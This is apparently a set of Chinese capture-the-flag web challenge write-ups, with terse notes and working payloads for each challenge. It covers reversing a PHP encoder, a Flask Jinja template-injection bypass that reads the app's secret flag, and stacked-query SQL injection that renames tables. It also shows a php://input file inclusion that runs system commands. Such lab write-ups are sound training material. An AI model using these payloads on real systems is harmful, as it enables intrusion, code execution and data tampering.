cookie
X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:‘这是夹心饼干的意思吗?’
打开抓包,发现有个cookie.php
http://61.147.171.105:53978/cookie.php 查看响应头
web2
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){//这里是加密函数
$_o=strrev($str); //这里对字符串进行倒置
// echo $_o;
for($_0=0;$_0<strlen($_o);$_0++) {
$_c=substr($_o,$_0,1); //从$_0中一个一个将字符取出
$__=ord($_c)+1; //字符ASCLL码值+1
$_c=chr($__); //ASCLL码值变回字符
$_=$_.$_c; //拼接每一个字符
}
return str_rot13(strrev(base64_encode($_)));//将字符串先base64加密 ,再倒置,再进行ROT13编码
}
highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?>
解题代码思路
先base64解密 base64_decode() 使用 strrev()倒置字符串 再进行ROT13编码 刚好26个字母进行两次刚好完成解密 之后就是将字符的ASCLL码值-1 字符串再进行倒置 同样我们也使用php,使用echo将解密结果输出 可以使用本地环境或者在线环境
<?php
$secret="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$secret=base64_decode(strrev(str_rot13($secret)));
$m=$secret;
for($i=0;$i<strlen($secret);$i++){
$_c=substr($m,$i,1);
$__=ord($_c)-1;
$__=chr($__);
$_=$_.$__;
}
echo strrev($_);
?>
https://c.runoob.com/compile/1/
shrine
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
flask 在 /shrine/ 下的 SSTI,对 payload 进行了过滤,对小括号进行了替换,将 ( 和 ) 替换为空字符串,将 config 和 self 添加进了黑名单
/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
supersqli
使用预编译**绕过
';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;
flag{c168d583ed0d4d7196967b28cbd0b5e9}
修改原参数查询
http://61.147.171.105:51964/?inject=1';show databases;--+
查表
http://61.147.171.105:51964/?inject=1';show tables;--+
分别查询两个表的字段:
(字符串为表名进行操作时要加反引号)
; show columns from `1919810931114514` ;--+
; show columns from `words` ;--+
1' or 1=1
http://61.147.171.105:51964/?inject=1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);
Web_php_include
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
使用php://input 伪协议
http://61.147.171.105:50320/?page=Php://input
<?php system('ls'); ?>
<?php system('cat fl4gisisish3r3.php'); ?>
upload1
更改文件名称
backup
题目描述: X老师忘记删除备份文件,他派小宁同学去把备份文件找出来,一起来帮小宁同学吧!
常见的备份文件后缀名:
“.bak”
“.git”
“.svn”
“.swp”
“.~”
“.bash_history”
“.bkf”
http://61.147.171.105:59660/index.php.bak
|